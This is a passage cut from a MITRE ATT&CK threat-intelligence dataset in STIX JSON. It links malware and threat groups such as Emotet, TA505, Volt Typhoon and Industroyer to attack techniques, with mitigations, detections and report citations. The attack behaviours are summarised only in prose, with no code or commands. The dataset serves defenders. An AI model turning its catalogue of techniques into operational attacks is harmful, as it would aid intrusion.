emotet_trendmicro_mar2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9999f59-6d9a-4f06-ba4f-df7590bcd366","created":"2024-07-30T18:10:36.024Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T18:10:36.025Z","description":"(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c99ee3c6-7d62-4514-bdac-4bf899ea0c16","created":"2019-05-28T18:49:59.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Sep 2017","description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:54:39.906Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used a wide variety of ransomware, such as [Clop](https://attack.mitre.org/software/S0611), Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.(Citation: Proofpoint TA505 Sep 2017)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9a1bcec-9a4d-4693-accb-5a6f67b857f6","type":"relationship","created":"2020-02-12T18:55:24.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T18:55:24.841Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9a2ee9a-4787-47c0-9cdc-f52735f066ad","created":"2024-05-17T13:37:26.796Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:37:26.796Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) contains several layers of obfuscation to hide malicious code from detection and analysis.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9a5f585-541d-4785-9cb4-de9710311176","created":"2023-02-14T22:37:52.874Z","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T22:37:52.874Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used HTTP for C2 communications.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9a7b01c-5ba6-41db-944a-ed5ba8531398","type":"relationship","created":"2022-02-21T16:24:52.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T16:24:52.433Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) has the ability to use anti-detection functions to identify sandbox environments.(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9a7b725-bdab-4955-a963-b747a406102b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"},{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-03-17T19:04:51.650Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) uses the command-line interface to execute arbitrary commands.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9aa1bb6-874a-4de6-84c8-e1e9d1d112d0","type":"relationship","created":"2020-06-26T16:17:18.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.010Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has used a polymorphic decryptor to decrypt itself at runtime.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9ad232a-2276-40b2-bf56-490fc6357cca","type":"relationship","created":"2019-09-24T13:29:29.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.883Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a feature to create local user accounts.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9b37055-af2b-4ec1-857c-79adfb290d66","type":"relationship","created":"2019-06-07T15:11:47.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.694Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can collect data from a local system.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9b4b56c-177d-446b-b34b-4e12c35304f2","created":"2024-05-17T20:28:26.811Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:28:26.811Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used publicly available exploit code for initial access.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9bce6d2-de66-4114-9cf6-2be555c35194","type":"relationship","created":"2020-03-09T17:07:57.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:02:16.011Z","description":"Prevent the creation of new network adapters where possible.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9c6986b-e954-4821-b271-f22d50f2284f","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9ca3f00-925f-4bce-9aeb-df41fb9b5eb0","created":"2023-06-05T17:06:40.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T21:24:09.229Z","description":"Periodically inspect systems for abnormal and unexpected power settings that may indicate malicious activty.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9d15fcf-d9f2-4f03-aabf-0e84523efc2b","created":"2022-09-19T18:25:49.895Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:25:49.895Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors downloaded additional malware and malicious scripts onto a compromised host.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9d727db-88ac-4729-bf8a-98d99a83534d","created":"2019-08-29T19:21:38.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.500Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can escalate privileges to root by asking the user for credentials.(Citation: Carbon Black Shlayer Feb 2019)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9dca829-6417-4121-9462-650ac852b8c2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESEST Black Energy Jan 2016","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"}],"modified":"2020-02-18T03:40:11.699Z","description":"The [BlackEnergy](https://attack.mitre.org/software/S0089) component KillDisk is capable of deleting Windows Event Logs.(Citation: ESEST Black Energy Jan 2016)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9e27933-d6fa-427b-b4ff-2367a2d7d060","type":"relationship","created":"2020-03-19T19:31:20.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","source_name":"Picus Emotet Dec 2018"}],"modified":"2020-03-19T19:31:20.117Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used cmd.exe to run a PowerShell script. (Citation: Picus Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9e36653-29fe-4430-b022-cbc855a85f9d","created":"2023-02-14T18:23:22.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:47:49.896Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can retrieve network interface and proxy information.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9e82790-f096-46f0-ba55-579d77ec3ea8","type":"relationship","created":"2020-12-07T20:28:20.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:28:20.280Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can automatically monitor removable drives in a loop and copy interesting files.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9e900cd-4c6b-4027-b6ca-b93b55c3c5e7","type":"relationship","created":"2019-09-16T19:41:10.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.095Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9ebddf7-337f-4002-84fd-84a7744b78e1","type":"relationship","created":"2021-09-24T16:51:12.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T16:51:12.266Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612)'s custom cryptor, CryptOne, used an XOR based algorithm to decrypt the payload.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9f23224-fecf-48e8-867b-1c299fb40cf3","type":"relationship","created":"2020-02-21T21:00:49.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T22:18:11.309Z","description":"Ensure proper user permissions are in place to prevent adversaries from disabling or modifying firewall settings.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9f53392-065d-4573-a08a-37bc3d24d3e5","type":"relationship","created":"2020-03-15T16:27:38.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T16:26:35.297Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9f73ac3-7b4a-4955-acc9-9459d48d7f63","created":"2024-02-12T20:06:31.232Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:06:31.232Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) initial infection mechanisms include masquerading as pirated media that launches malicious VBScript on the victim.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9fa803b-3d37-49bc-b0b3-ec409ad372fa","type":"relationship","created":"2021-10-11T15:50:26.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:50:26.291Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can search a list of running processes.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c9fbbab5-c6f1-4aed-bf1f-ea7c83e4d1f2","created":"2021-01-04T20:42:22.289Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) used [Tor](https://attack.mitre.org/software/S0183) nodes for C2.(Citation: Dragos Crashoverride 2017)","modified":"2022-06-30T20:16:22.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca04cce0-2f47-4c73-956f-808573b62903","type":"relationship","created":"2020-03-13T13:51:58.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-17T19:05:23.996Z","description":"Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca060f84-0042-43b2-ae17-48b4952c0570","type":"relationship","created":"2021-02-23T20:50:33.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 